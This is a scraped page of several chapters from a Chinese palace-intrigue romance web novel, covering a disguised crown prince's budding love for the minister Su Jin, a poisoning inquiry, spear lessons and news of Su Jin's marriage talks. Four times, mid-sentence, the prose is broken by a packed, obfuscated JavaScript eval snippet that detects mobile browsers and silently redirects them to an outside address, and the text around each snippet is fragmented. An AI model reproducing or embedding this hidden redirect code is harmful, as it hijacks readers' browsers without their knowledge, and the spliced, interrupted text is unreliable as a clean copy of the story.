;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566123|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我懒得费劲，所以麻烦你自己跳下去吧。” “是。”苏觐将手扶上栏杆。 “等一下。”乔鹤练阻拦，“你会泅水吗？” “不会。”苏觐道。 “真的假的？”乔鹤练狐疑，“又在骗我？” 有了上次教射箭的前车之鉴，可见这佞臣说出来的话未必可信。 “的确不会。”他答，“殿下可拭目以待。” “那算了，回来。”乔鹤练哼了一声，“我可不想下去捞你，天够冷的。” 管他会不会呢，反正别真跳了就行。 不然受了寒又卧病了，秦王那拨人还不得把她撕成碎片。 乔鹤练凝眸，眺望不远处的湖岸，北风吹拂芦苇荡，岸边一对鸳鸯正在水中嬉戏，似乎一点也不畏严寒。 “唉。”她叹了口气，闷闷不乐，“算了，走吧，回文华殿吧。” 还是自己走回去吧，别像上次一样被扛回去，当着那么多内臣的面，丢死人了。 走到半路，她还是没忍住，开口试探了一下乔绍的事：“我听闻，乔绍最近经常出入三千营中？” 苏觐无声地笑了：“殿下很关心京营动向？” 乔鹤练顿时遍体生寒，脚下一个趔趄，慌不择路道：“没有，我是担心伯父信任他，不信任你了。” 苏觐兀自行走在旁，通身散出冰封般的凛冽之气，沉着脸，并不言语。 乔鹤练太阳穴突突直跳，腿软得走不动路，不得不扶墙暂歇，一时头晕目眩。 见太子吓得脸色惨白，苏觐暂停步伐，神色淡漠：“于臣而言，此人是前车之鉴，于殿下而言亦然。殿下冰雪聪明，应该能听懂臣在说什么。” 不要忤逆秦王。不要私通敌寇。 苏觐始终在明，是她在暗。 心在胸口狂跳，乔鹤练屏住呼吸，竭力保持平静，据实而言：“我的确只是担心你的处境，军务方面，我向来一窍不通，打听这个有何用。” “那臣同殿下细说此事。”苏觐微微一笑，“臣敢说，殿下敢听么？” “不敢了。”乔鹤练汗流浃背，抬手央求，“我立刻回文华殿听讲就是。” “无妨。”他托住她的手肘，扶着她站直，“臣既然让你听，就说明可以听。” “他和他远道而来的舅家表妹拉上家常已经很久了。”苏觐道，“其妹给他带了不少礼物，而他，也一直将京营里的新鲜见闻与其分享。” 如此说来，乔绍和巴雅尔勾结已久，巴雅尔除了以美色诱惑，还许了他不少利益，这也是乔绍能买通那么多官员的金钱来源。 乔绍一直在偷京营里的情报卖给巴雅尔，而苏觐和秦王早就知道。 直到从阮蝉处得知玉颜怀孕之事，乔鹤练才确定乔绍通敌叛国。 然而乔绍的叛变举动其实可能更早，甚至早在秦王从辽东班师之前。 乔鹤练越听，手脚越冰凉，仿佛全身血液都要冻结。既然早就知道，那秦王和苏觐还装作没事人一样，他们到底想干什么？ 想利用乔绍将喀兀细作一网打尽？ 喀兀细作之事，锦衣卫北镇抚司也早就在调查，只是进展不明，目前双方都按兵不动，她无法想象巴雅尔和秦王的真实目的究竟分别是什么。 33. 剖白 难得见小人害怕成这样，苏觐觉得恐吓得够了，便有意将话题绕回，脸色放缓，语气也逐渐温和。 “至于臣在秦王殿下面前的处境，殿下大可宽心，这点把握，臣还是有的。” 拿捏君父，于他而言不算难事，只要他肯花心思。 而京师三大营，连同亲军十二卫，是北直隶与国门最坚实的后盾，将剔除所有掺杂其中的沙子。 尽在掌控之中。包括沙子。 “倘若有朝一日，臣失了秦王殿下的信任，就更加无需担心，因为届时，臣必将死无葬身之地。” 说出这句话时，苏觐像在讲一个恶劣的笑话，大有一种幸灾乐祸之意。 仿佛那个要死之人不是他自己，而是一只无足轻重的蝼蚁。 乔鹤练已分不清此人到底是开玩笑还是认真了。 若他连自己都视作蝼蚁，那无关的旁人算什么呢？ 乐观如她，只当他是稳操胜券，用危言耸听自证，点头附和道：“伯父哪里舍得你死？他最爱重你了，定会永远信任你。” 可话似乎没说到点子上，苏觐未露悦色，只直直地盯着她：“那殿下呢？” “我？”乔鹤练一愣，“本宫怎么？” “殿下，舍得臣死吗？”他眸光有些黯然。 “我……”话语权被推回来，乔鹤练自是牢牢握住，笑道，“当然，更舍不得啊。” 他墨池般的眸中，有浮光乍现。 “就像我舍不得行简，舍不得令望，舍不得我身边的所有人一样，包括将士们，百姓们，被骤雨打落的孤雁，被霜雪催折的花枝。”乔鹤练坦言。 苏觐听完，眸光再次晦暗，似落寞又生气，背过身径自离去。 “站住。”乔鹤练唤道，“回来。” 他止步，未回头。 “好嘛，你和他们不完全一样。”乔鹤练大方承认，“于我而言，你是特别的。” 会期待独占。会有旖旎之思。见不到了会想。 这就是阮蝉所说的，儿女情事。 是话本里写的，女子对男子的，恋慕。 “有，多特别？”苏觐微怔，转过身，慢慢折返，眼眸中似有浓郁的期待。 “和你在一起的时候，最刺激啊。”乔鹤练哼了一声，“就像上次你带我出宫那样。” “后来，你受伤，病了，我很难过，觉得不该让你带我出去。” “但，你接受了我的疗愈，而且，康复得很快，我又很欣慰。” “你陪我吃饭睡觉，读书写字，陪我骑马射箭，出宫扫墓，我们，一起做了好多事情。” 为什么，偏偏是他呢？ 因为他有绝对的力量，愿意保护她。这是爹爹不曾给过她的，安全感。 因为他像鲁国长公主那样，用兵如神，愿意管她，愿意陪她玩。 因为他长得像他母亲。谪仙般的清冷美人，目无下尘，只独独眷顾她一人。 他身上有象征清白与忠贞的香草气。他权倾朝野，却囊中羞涩，他以身许国，而不计个人。他有经天纬地之才，亦能屈身为她洒扫除尘。 乔鹤练静静地注视着眼前的男子。这一刻，她确认，她对他，有恋慕之情。 恋慕就恋慕呗，没什么大不了的。她知道他有创伤，也照样觉得他太疯癫，恐惧他的残酷手段，反对他的冷血杀伐。 她要拉拢他，治愈他，将他收为己用。 苏觐静静地听完太子的所有话。非常舒坦，也无比纠结。 此刻，他亦在心底承认，太子于他，相当特别。 恨不能独占。终日耿耿于怀。见不到心痒难耐。 这算什么呢？手足之情？他向来把乔绥视作兄弟，太子于他，和三郎完全不一样。 友人之情？他和岑典、寻戈相识十余年，从未有过这么古怪的感觉。 难以言喻的情愫。 为什么，偏偏是这个小人呢？ 因为小人足够温柔善良，愿意接纳他。这是母亲不曾给过他的，包容感。 因为小人像年轻的秦王，少年意气，又极为护短，会真的在乎他、关爱他。 最重要的是，小人，长得像……陈留。这张脸，天然昳丽，灿烂炳焕，宛若亭亭净植的莲，是象征美丽与救赎的女神。 小人身上，有助眠的檀香，能让他沉沉睡去，不被噩梦侵扰。 小人对众生的怜悯与仁慈，令他又爱又恨。没有人不爱仁君，但他恨春江月明，流照万物，不肯独照他一人。 一切的一切，似乎构成了他幻想之中，被女神庇佑的感觉。 这绝非纯粹的亲情或友情。倒有点像，他压抑多年的，对陈留偏执欲念的移情。 从失之交臂的未婚妻，到可望不可即的神明。 可小人又完全不是陈留。 陈留是爱而不得的执念与远影，是天人永隔的，活在遐想中的完美女神。是他苦难岁月里不灭的光。 光没有冷热，也无法触碰。 而小人有温度，有实感，有血有肉，会哭会笑，会怕痛受伤，会委屈无助。让他想照顾，想管束。既骄纵任性，又果敢机敏，软下来的样子特别可爱。有时天真冲动，也能快速学会深思熟虑。 他多希望，这么脆弱又叛逆的小人，只能被他保护，也只能被他欺负。 ……当然，乖乖听话的话，也可以不欺负。 好混乱的想法，他捋不清。 二人就这样无声对望，时间汩汩流逝，不知过去了多久。 见苏觐始终沉默端详着自己，并不搭话，乔鹤练觉得有点尴尬，于是岔开话题： “现在什么时辰了？文华殿的讲官们该等急了。” “已经过未时了。”苏觐答。 “那还去吗？”乔鹤练心不甘情不愿。 “殿下不想去？” “不想。” “那想做什么？” “想出宫，你带我吗？” 苏觐唇角扬着，像是在笑：“可以。” 哇，竟然真的答应了，这么神奇的吗。一瞬间喜出望外，但她立刻便冷静下来。 这么干脆，必定有诈。 “若真出宫了，回来之后，我会面临什么处置吗？”她问。 不会是圈套，要请君入瓮吧。 “不会。”苏觐摇头。 “那行简呢，他会遭殃吗？”她又问。 “也不会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571911|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”苏觐否认。 “那走。”乔鹤练兴冲冲道，一副立刻就要动身的模样。 终是装不下去，她问出致命问题：“那你呢，你会被怪罪吗？” 刚还在说上次出宫后他生病的事，怎么可能转头就忘。 “会。”苏觐点头。 “……”那还去个鬼。 乔鹤练小心翼翼，试探道：“会，很严重吗？” “不严重。”苏觐道，“比上次重十倍吧。” “别，不去了。”乔鹤练扶额。 严重十倍，岂非要出人命，神仙下凡也救不回来，太可怕了。 “那去哪？”苏觐淡淡看她。 “回文华殿。”乔鹤练垂头丧气。 “那还不快走？”苏觐终于耗尽了最后的耐心，架住她胳膊，冷着脸往东宫方向拖去。 看来是又生气了，气她最后才想到他。 挺爱生气，比蛐蛐好逗，有意思。 能轻松拿捏这个淡漠之人的情绪，是不是说明，她在他心里的位置，也很特别？ * 文华殿。 离开讲时辰已过了一刻钟，太子仍不见踪影，不知又跑到哪个犄角旮旯里旷学了，讲读官们等得心焦又惶恐。 直到看见苏觐亲自将太子抓回来，且没发落任何人，他们这才松了口气，庆幸又逃过一劫。 乔鹤练被强行按在座上，面前摊开了书本，依旧是令人瞌睡的《左传》。 儒家十三经，她自启蒙起，其实已学过很多遍。这些理论，不论认同与否，知悉本源是肯定的。 至于四书五经，自然和科举士子们一样，全文熟背了，没什么说头。 自从卢允恭被调离东宫之后，杂家学说通通取消，文华殿现在讲读的内容，彻底绕不开经部，翻来覆去都是那几样。 估计还是苏觐在背后搞鬼，故意用这些东西折磨她，让本就枯燥的讲读变得更加乏味。 讲读官也一样，以前文华殿还是美差呢，现在成了高危衙门，动不动就要面临突袭。 而罪魁祸首本人，依然霸占了她一角桌案，站在她身旁批阅奏本。 还记得那日她因为中毒头晕，背书背不出，他也是这样在桌旁盯着她。 乔鹤练毫无听讲的心情，胡乱翻着书页，余光偷瞄苏觐拟票书。 嗯……全都是一些平平无奇的政务，诸如文教，邦交，水利，涉及面虽广，并没有任何朝廷机密，看起来比左传还无趣。 这人别的不说，看奏章和写票书的速度是真快。 血肉之躯，功效堪比机械。 虽然这么概括很不礼貌，但是，这的确是一个物美价廉的人，好看，好用，还不要钱…… 当然，也非常危险就是了，比重炮的杀伤力更强，想占为己有，得先有必死的觉悟才行。 乔鹤练还注意到，与习惯边写字边聊天的她不同，这人做事十分专注，一旦集中精力，基本上不太管周围的环境。 比如此刻，压根就不搭理她。 直到散讲之后，她才和他搭上话。 “记得那天……” “殿下是想问，中毒之事？”苏觐替她整理着桌案，道。 34. 补偿 “你，查到是谁做的了？”乔鹤练问。 “殿下觉得是谁？”他让她先猜。 “我不知道哇。”她答，“我又没什么仇人，乔绍算一个吧。” “投毒内臣已经自尽。锦衣卫的进展，止步于抓捕了一名秦世子的侍卫。”苏觐道，“那名侍卫在诏狱中，承认了威胁内臣投毒，并提供毒物之事。” “是乔绍指使他的？”乔鹤练抬头看着他。 苏觐没有答话。 半晌，他道：“无论如何拷问，那侍卫都坚称，没有幕后主使。” 乔鹤练沉默了。 意思是，那名侍卫想独自担下谋害太子的罪名。 “本宫，如何得罪一个宫外侍卫？”乔鹤练无力一笑，“我连他姓甚名谁都不知道，他却想要我的性命？” “若殿下咽不下这口气，就暂且先当是秦世子指使的吧。”苏觐道。 暂且先当的意思是，事情或许不是乔绍做的？ 此案目前断在侍卫这个唯一节点，没有任何口供与凭证，仅能凭感觉推测主谋。 看来苏觐心里已有怀疑对象，只是不便直说。 “伯父是怎么说的？”乔鹤练问。 “秦王殿下没说什么。”苏觐道，“最初他让臣猜过，臣出于私心，随口暗示他世子的嫌疑最大。” 苏觐的私心。是，厌恶乔绍？ 乔绍向来忌恨苏觐，恨他来自边陲乡野，却能位极人臣，独占秦王的宠信，把他这个先帝亲封的世子踩在脚下。 乔绍应该也恨秦王妃，又不敢从根源上触怒秦王，只能把所有的怨恨发泄在苏觐身上，用最肮脏的言语咒骂他。 那么反过来，苏觐一定也厌恶乔绍。 不，远不止如此。 苏觐东征北伐，常年枕戈待旦，平生最恨两种人，一是叛徒，二是逃兵。 这种为了家国霸业连命都不顾的疯子，他口中的“私心”，绝非个人喜恶，应当指的是他对叛国之人的天然痛恨。 然而刚才，苏觐又暗示她，在下毒之事上，乔绍或许是冤枉的。 见太子凝神不语，一副思虑重重的表情，苏觐以为小人在为中毒之事后怕，道：“此事是臣的过错，臣愧对殿下。” “啊？”乔鹤练听得一愣，“何出此言？” 又不是他下的毒，他愧什么。 “没能立即确认殿下身体不适，没有及时为殿下排除风险，致使殿下遭人暗算，臣悔愧。” 对于此事，苏觐至今无法释怀。太子不慎中毒，是他返京以来最重大的失误。 即便未能提前排除毒源，可以用“世上没有算无遗策的完人”推脱，可连卢允恭都看出太子抱恙了，他竟还以为小人在装病。 直到给小人喂完药，从太医院获知，太子是千真万确中毒了，他才意识到自己的傲慢无知。 如今想来，实在可耻。 这么脆弱的小人，一定得仔细看护，绝不可掉以轻心。 中毒事发后，虽将东宫排查了几遍，置换掉不可信之人，又叮嘱太医院按旬请脉。如今却越发觉得，自己一日不盯着就不放心。 岑典这人能处，没有白坑他的钱，至少给他提供了一个绝佳的，留宿东宫的借口。 “没事啊，横竖也没把我怎么样。”见苏觐言辞恳切，并无挖苦之意，乔鹤练便照单收下，“那，苏哥哥要怎么补偿我？” 苏觐稍加思索，平静道：“明日午后，殿下还骑射么？” 乔鹤练不禁新鲜：“怎么，你要教我武艺？” “臣不通此道。”苏觐道，“不过，有一个人能陪同殿下精进弓马，臣可以将他请过来。” 哇，这么好。 “你说的人不会是三哥吧？”乔鹤练立刻来了兴趣，“若是他的话，我想练枪。” 乔绥的射艺确实万里挑一，在三军中无人匹敌。但他最傲人的看家本领，则是马枪。何况枪是百兵之王，哪里还有比枪更厉害的兵器！ “可以。”苏觐点头答应。 竟是真的要让乔绥来！乔鹤练实在惊喜。 三堂兄和她年纪相仿，武功虽高，却不通文墨，过于心直口拙，在王府不大受宠。 除了练枪，还可增进亲情，说不定能将乔绥也拉拢过来，一举三得。 “作为回报，我请你用晚膳吧。”乔鹤练欢欣不已。 * 乔鹤练昨晚睡得很不错。 无他，只因苏觐又在她帐外打了地铺，声称要严防她偷偷玩火。 故而无法熬夜看话本，只能早早睡下。导致次日神清气爽，文华殿讲读一上午都没犯困。 午饭后，苏觐果真如约带着乔绥来了里栏草场。 乔鹤练自带了一杆□□。这柄枪只比人高一半，造型简约，结构精巧，于她而言十分趁手，哪怕上了些年月，依然焕然如新。 “殿下可否，让我看看你的枪？”乔绥却有些迟疑。 乔鹤练大方地将武器递给他。 “枪是好枪，就是，太轻了。”乔绥掂了掂道。 主要有些旧，虽经过精心养护，外观上看不出，但他一摸就知，是陈年搁置之物。倘若对战普通轻枪骑兵，其实无妨，可对他来说，就很难把控了。 但他又不知道怎么讲，总不能当着太子的面说兵器不行吧？他在口无遮拦上栽的跟头已经够多了。 苏觐接过枪，也掂量了一番，道：“这不是冲阵用的长枪，在□□里算有分量的，太子经验尚浅，需要手感，只能拜托你谨慎行事。” 乔绥答应了，将枪还给太子，心想，千万别惹太子不高兴。 二人都上了马，乔绥特意挑了一把木制钝头的轻枪，先请太子略试身手。 “殿下可以从基础的刺和扫开始。” 乔鹤练便依言比划。她知道自己马枪功夫一般，顶多和武艺平平之人切磋，在乔绥面前绝对是班门弄斧。 她唯一拿得出手的骑射，和三哥也没法比。 乔绥看着太子的枪法。控马相当娴熟，能与训练有素的骑兵媲美，挥枪动作还算标准，但力量严重不足，缺乏机动性。招式悬浮，技巧糟糕。 总体而言，可以上阵，属于炮灰之流。 难怪苏觐会同意让太子用那把轻枪，这若是换一把沉的，估计都挥不出这个效果。 他斟酌措辞，违心地称赞：“殿下功底扎实，天赋很高。” 乔鹤练听了差点没栽下马去，这奉承得也太假了，生怕别人听不出是虚言恭维。 “三哥，你在笑话我吗？”她撇嘴。 “臣万万不敢的。”乔绥慌忙否认。 “你也别光夸呀，指点一下我的战术嘛，三哥。”乔鹤练央求。 乔绥汗流浃背，不是他不肯教，他只怕自己控制不好力道，要么太过敷衍，要么一下没收住，会伤了太子的兵器。 他手心湿了，握杆都打滑。哪怕直面敌军悍将也未这般紧张，他绞尽脑汁思考着对策：“请殿下尝试一下平刺进攻，臣会尽力格挡。” 这已是他能想出的最万全之策了。 乔鹤练也不客气，举枪就来，用了十足十的劲。 乔绥光想着格挡要卸力。 然他常年演武，操练成惯，连招已是本能，手根本不听脑子使唤，拦截过后，紧跟着便是一拨一挑。 完了。 太子枪棍虽未脱手，枪头已赫然飞了出去。那把枪硬是被他轻松劈碎，生生断成了两截。 太子怔了片刻，面露心痛之色，扯了缰绳翻身下马，飞跑着去捡远处的枪头。 乔绥也赶紧下马，将马匹交给侍卫牵走。 苏觐在草场边看着这一幕，不禁皱眉。太子是从哪里淘来这么一把银样镴枪头？中看不中用。既然珍贵，就该捂严实了，何苦拿出来对战。 可眼见小人怆然神伤，将断枪揽在怀里，半晌没动静，他也没来由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576452|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的难过心疼。 有些莫名恼火，不由分说走上前，斥责乔绥：“太子是读书人，不是兵士，请你来是教他，不是让你显摆能耐的。你喜欢打，我叫寻戈过来，拿□□陪你打？” 乔绥本就内疚惶恐，如芒在背，被这样误解，也很委屈：“哥，太子的枪太轻，我不是故意的。” “你也是快弱冠的人了，最基本的侍君之道都不懂，也别怨令尊苛待你，是你自己愚顽不化，咎由自取。”苏觐冷冷道。 乔绥被骂得一声不敢吭。平日里，他因愚蠢言行被秦王怪罪时，世子大哥和他亲二哥不敢置喙，都是爱莫能助，惟有苏觐在旁拦着，替他辩解。 他再笨也明白，虽无血缘之亲，但从小到大，苏觐是世上对他最好的人，是真心将他视若手足的兄长。苏觐为人清高孤傲，从不疾言厉色，更从未对他说过如此重话。 大概是因为他惹恼了太子。 可苏觐从前和太子根本没有交集，才管东宫几个月，就如此介怀太子，这份偏宠早已超越了他认知中的手足之情。 也确实是他无能，没服侍好太子，还损坏了储君器物，哪里怪得了别人。无颜作任何辩解，只能低头认错。 “兄长教训得是。”乔绥懊丧道，“我知道错了，你别生气。” “去向太子请罪。”苏觐漠然命道。 请罪简单，可，该说些什么呢？乔绥本想求教，偷偷抬眼，被苏觐严肃的神色吓得立刻闭嘴，忙不迭向太子走去。 太子已经将断枪的残骸擦拭干净，交给内臣收起来了。此刻黯然销魂，有些恍惚。 乔绥心里万般自责，一揖拜下，跪在地上：“臣罪该万死，求殿下责罚。” 乔鹤练简直震惊。枪坏了，她固然伤心，但这根本不是乔绥的错，他已经提醒过她枪轻，也是她再三恳求他才出手的。 她怏怏不乐，怅然若失，只因这把枪，是十三岁那年阿缜送给她的礼物，是阿缜离世前留给她的最后一件东西。 以前练习枪法时，她都是用这把枪，后来因为更擅长骑射，就逐渐搁置了。 此去经年，看似光鲜之物，竟也脆弱得不堪一击。 “你别这样，三哥，我没有怪你。”她哭笑不得，“你快起来。” 乔绥抬起头，并不敢平身，直到苏觐过来，在他身后道：“太子让你起，你还不起，是要太子求你吗？” 苏觐也没辙了，少年空有一身高超武艺，可为人处事蠢成这样，顶多做一员武将，如何统帅三军呢。 好在太子情绪恢复得不错，他便重归沉稳淡漠。 乔绥这才起身，仍旧敛声屏气，不敢言语。 乔鹤练叹了口气：“三哥，你本就是我堂兄，今日来教我枪术，便算我师傅，为何要如此拘束呢。” 乔绥忙道：“殿下贵为储君，是陛下嫡长子，臣只是宗室庶出，岂敢以兄长自居，更不敢妄称师者，只求服侍好殿下，就心满意足了。” 乔鹤练无言以对，顿了顿，道：“这话是苏哥哥教你的？” 见苏觐在旁，淡淡的不吭声，乔绥更加不知所措：“不是，是臣自己琢磨的。” 乔鹤练想，乔绥跟着苏觐，心机和城府半点没学会，繁文缛节和封建规矩倒是背得一套一套的。 苏觐满口秩序，为的是暴力镇压。 礼教是他统治旁人的工具，达成目的的手段。他虽随波逐流，甘受反噬，却绝不可能昏了头脑，当真尊崇。 单论苏觐那日稍加推辞就穿上御袍的行径来看，他天天“殿下”“臣”的挂在嘴边，全是虚伪作态。 在他内心隐念里，他是万物的唯一主宰。所谓君臣纲常，只是平衡他癫狂掌控欲的现实载体。 乔绥这种傻子，怎么就被糊弄得信了，摆出一堆规矩，作茧自缚呢。 乔鹤练正不知道说什么，苏觐却忽然开口：“三郎，太子不是外人，有两件事，我现在问你，你想清楚后作答。” 35. 相亲 “奉天门那天夜里，世伯本和世子在房中闭门争执，为何你会莫名其妙牵扯进去，受了怪罪？”苏觐问。 “那晚……”乔绥陷入沉思，“那晚爹发了很大的火，大哥也有些脾气，是二哥来找我说，担心出事。” 然后他就愣头愣脑地闯了进去，还没来得及张嘴，就被秦王几巴掌扇出门外。 乔鹤练无语道：“他找你有什么用？找你替世子当沙包？” 有脑子的人都想得出来，若当真想要劝和，怕秦王一怒之下打杀乔绍，第一个应该去请秦王妃。 他们兄弟三人再搭上苏觐，乔纮是其中最孝顺的那个，在秦王妃面前最得脸，不可能请不动。 “这……”乔绥很是窘迫，“我也不明白……” 苏觐未应话，问起下一件事：“王妃娘娘生辰当日，我在廊下与娘娘碰面，为何其余人都在，唯独不见你？” “啊？”乔绥挠头了半晌，道，“有这事么？我怎么不记得，我当时去哪了？” ……还是个健忘的主。 乔鹤练无奈叹气，替他答：“这事我记得，当时是我找借口把他支走了。” “何故？”苏觐问。 “因为当时，本在说无关紧要的家常，他突然插了一嘴，问为什么你和乔绍都没回府。”乔鹤练道， “当时孟姐姐还在。他这话，不是当面拆伯母和孟姐姐的台么？我看场面实在尴尬，就把三哥支走啦。” “好端端闲坐，为何突然这么问？”苏觐淡淡道。 乔绥苦思冥想半天，终于回忆起缘由：“当时二哥问我什么时辰了？我看了眼漏刻，发现不早了，就脱口而出了。” “可是，漏刻就摆在堂上，他自己又不是不会看，为什么要问你？” 乔鹤练也发觉这个细节不对劲。二哥乔纮身为胞兄，心思细密，为人周到，理应最清楚乔绥的性格，不帮忙兜着不说，怎么尽在亲长面前给人挖坑。 她忽然意识到，自己对乔纮的固有印象，或许太过片面。苏觐有意当着她的面提醒乔绥，是不是也在暗示她什么？ 苏觐没说什么，语重心长地叮嘱：“三郎，你记住，以后你二哥当着亲长的面问你话，或者暗示你去亲长那里做什么，你都不要当真，糊弄过去就行了。” “啊？”乔绥听得云里雾里，愣愣点头。 “知道怎么糊弄么？”苏觐问。 “不知道。”乔绥诚实地摇头。 “……”乔鹤练也不知该说什么了。 沉默半晌，苏觐道：“这段时间，你若无事，要么去五军营、神机营待着，要么跟着我，别去三千营。尽量避开你大哥二哥，即便碰上了，也多点头，少说话。” “记住了吗？”他问。 乔绥懵懂地点头。 乔鹤练总感觉这兄弟没听明白，便帮苏觐继续追问：“三哥，如果二哥问你：三郎，你最近为何总躲着我？你怎么说？” “我……怎么说？”乔绥重复道。 “你就说：没有，爹说我行事驽钝，让多去兵士们中间历练。然后找借口撤了就行。”乔鹤练耐心示范。 “噢。”乔绥恍然，若有所悟。 “那如果，世子或者别人问你：是不是苏觐在背后挑拨你同大哥二哥的关系？你怎么回？”她循循善诱。 “我说……”乔绥稍加思索，果断道，“不是，兄长什么也没说。” 诶，这不是聪明的么，能学会呀。 苏觐听见了，不再说乔绥的事，转头看向她：“殿下的枪，不若交给臣拿到盔甲厂，找军匠修理？” 乔鹤练摇头：“不必了。是旧物，非对战之器，我收起来保存吧。枪身已断，倘若要修，更换了木杆，也不是原来的枪了。” 往后练习，还得选一把更趁手的新枪才行。 * 此后每日中午，苏觐都带着乔绥来到里栏草场，陪她骑马演武。 一天艰难的枪术，一天轻松的射艺，倒也兴味盎然，不至于太过打击。 乔鹤练同乔绥也迅速熟络起来，二人本就年纪相仿，有诸多话题。乔鹤练很擅长与人聊天，经常借机缠着乔绥给她讲他在前线拼杀的经历。 但苏觐好像不喜欢她太多闲话，每次和乔绥聊得得意忘形了，这人就会将寒刃般的目光横扫过来，硬生生将她从三哥身旁逼退数尺，汗毛倒竖地闭嘴。 又是一日午后，草场上只见乔绥一人持弓等候，并未见苏觐。 “苏哥哥呢？”乔鹤练奇怪道。 乔绥道：“兄长还在魏都督府上议事。” 他告诉她，右都督魏融设午宴相邀，请了秦王夫妇和苏觐，乔绥自幼随魏融打仗，和都督一家相熟，也顺道跟去了。 “军务么？”乔鹤练问。 “不是。”乔绥摇头，“是家事，都督夫人想给兄长说亲。” 这句话落入耳中，无异于晴天霹雳，乔鹤练头一回听说这人要议婚，一时难以置信。 他不是说，没有心仪之人，也不想成婚么？骗子！ 心一时又沉又空，说不出是失落还是愠恼，还有些酸涩，紧随其后的则是无可避免的担忧与思虑。 魏融与秦王是总角相识的莫逆之交，亦是北伐重臣之首，若苏觐接受了此人安排的联姻，意味着秦王一党的关系将越发牢不可破，直至固若金汤。 “三哥，你可知女方是谁？”她强作平静打听。 “听夫人的意思，并不止一个，”乔绥向她透露，“一个是钱尚书之女，一个是平安侯之女。” 两家都是誓死不二的秦王股肱，板上钉钉的那种。 “他要娶两个？”乔鹤练听得两眼一黑。 “怎么可能！”乔绥立即否认，“是那两位家中都对兄长有意，皆托了都督夫人来相商，看兄长中意哪位。平安侯今晚就要请兄长赴宴。” 不愧是秦王，果然把苏觐当亲儿子，竟真摆出了天潢贵胄选妃的架势。又是尚书千金，又是侯府贵女，还挑上了，凭那家伙也配！ 乔鹤练顿时一丝骑马的兴致也无，匆匆找借口和乔绥道别，独自回了文华殿。 这个消息实在糟糕透顶，一下午的讲读都提不起劲，听得恍恍惚惚，直到散讲了，行简喊她移步回寝殿用膳都无动于衷。 这段时日的晚膳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587787|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她都心照不宣地让人备了苏觐的份。 而苏觐也自觉，每每会在摆饭前及时赶到，陪她用膳，然后在东宫赖到宫门下钥，入夜以防火为由宿在她帐外。 她甚至都有点习以为常了，在得知苏觐自家房屋被岑典霸占后，还主动让他将常用的箱笼搬到东宫放着。 在河边走这么久，丝毫没湿过鞋，就连身份暴露的恐惧，也在日复一日的旖旎相伴中消磨干净了。 毕竟苏觐完全没怀疑过她，接触时也从未逾越界限，日子实在安逸得过头了。 以至于她把变数和危险都抛诸脑后，甚至进一步考虑阮蝉的建议，计划就调查喀兀细作之事主动明牌，向苏觐寻求合作。 可，今时今日，他竟要与秦王旧臣结盟，与旁的女子议婚…… 那，他与她这么多日的共处，又算什么？ 此时此刻，独自一人，孤零零地面对着桌上的馔食，直至放得凉透，她都未曾动过筷。 行简放心不下，已进来了好几趟，问她要不要将饭菜热一热，都被她心不在焉地打发出去了。 想到苏觐要和秦王旧臣之女成婚，并与之诞育子嗣，她的心比桌上的菜还拔凉，有一种无法言说的沮丧。 不止是拉拢之事前功尽弃，还有，她那点上不得台面的，恋慕…… 面对着平日里最对她胃口的酱瓜茄和肉米粥，始终食欲不振，瞥见旁边那道鲜虾豆腐羹，心情愈发混沌郁闷，五味杂陈。 还记得那日苏觐带她出宫，在城外的扁食店里，她发觉他喜欢吃虾仁豆腐馅的扁食。 这个鲜虾豆腐，想来他也会中意的吧。 但，此时此刻，苏觐肯定在侯府赴宴。平安侯会用珍馐佳肴款待他，满堂花醉，觥筹交错，还有侯门贵女隔席把盏，对酌清谈。 他哪里会知道东宫膳桌上，还有这道清淡朴素的羹汤呢。 对啊，苏觐此人，虽然冷酷孤高，不近人情，对美色无感。但他终究是秦王视如己出的心腹，总要与门当户对的闺秀相看成亲的。 和她这个冒充的傀儡太子整日待在一起算什么。 这样想着，她更加一口都吃不下，索性唤人进来，让内臣把桌子都收拾了。 